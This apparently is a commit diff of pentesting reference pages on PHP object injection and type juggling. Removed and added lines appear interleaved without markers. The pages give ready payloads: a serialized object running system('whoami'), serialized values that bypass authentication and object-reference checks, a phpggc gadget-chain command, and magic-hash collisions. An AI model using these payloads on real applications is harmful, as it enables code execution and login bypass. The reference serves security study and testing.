Minor edit in deserialization PHP and type juggling

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Swissky 2018-11-26 23:35:43 +01:00
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# PHP Object Injection
# PHP Object injection
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
The following magic methods will help you for a PHP Object injection
* __wakeup() when an object is unserialized.
* __destruct() when an object is deleted.
* __toString() when an object is converted to a string.
Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
## Exploit with the __wakeup in the unserialize function
## __wakeup in the unserialize function
Vulnerable code:
@ -40,7 +46,6 @@ a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
```
## Authentication bypass
@ -62,11 +67,11 @@ if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
Payload:
```
```php
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
```
Because `true == "str"` is true. Ref: [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
Because `true == "str"` is true.
### Object reference
@ -93,15 +98,10 @@ if($obj) {
Payload:
```
```php
O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
```
Ref:
- [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
- [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
## Others exploits
Reverse Shell
@ -148,7 +148,10 @@ phpggc monolog/rce1 'phpinfo();' -s
## Thanks to
- [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
- [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
- [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
- [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)

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# PHP Juggling type and magic hashes
PHP provides two ways to compare two variables:
- Loose comparison using `== or !=` : both variables have "the same value".
- Strict comparison using `=== or !==` : both variables have "the same type and the same value".
## Type Juggling
True statements
### True statements
```php
var_dump('0010e2' == '1e3'); # true
var_dump('0010e2' == '1e3'); # true
var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');
var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');
```
```php
'123' == 123
'123a' == 123
'abc' == 0
```
```php
'' == 0 == false == NULL
'' == 0 # true
0 == false # true
@ -22,7 +31,7 @@ false == NULL # true
NULL == '' # true
```
NULL statements
### NULL statements
```php
var_dump(sha1([])); # NULL
@ -31,20 +40,22 @@ var_dump(md5([])); # NULL
## Magic Hashes - Exploit
```php
<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
```
If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float.
| Hash | “Magic” Number / String | Magic Hash | Found By |
| ---- | -------------------------- |:---------------------------------------------:| -------------:|
| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
```php
<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
```
## Thanks to
* [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)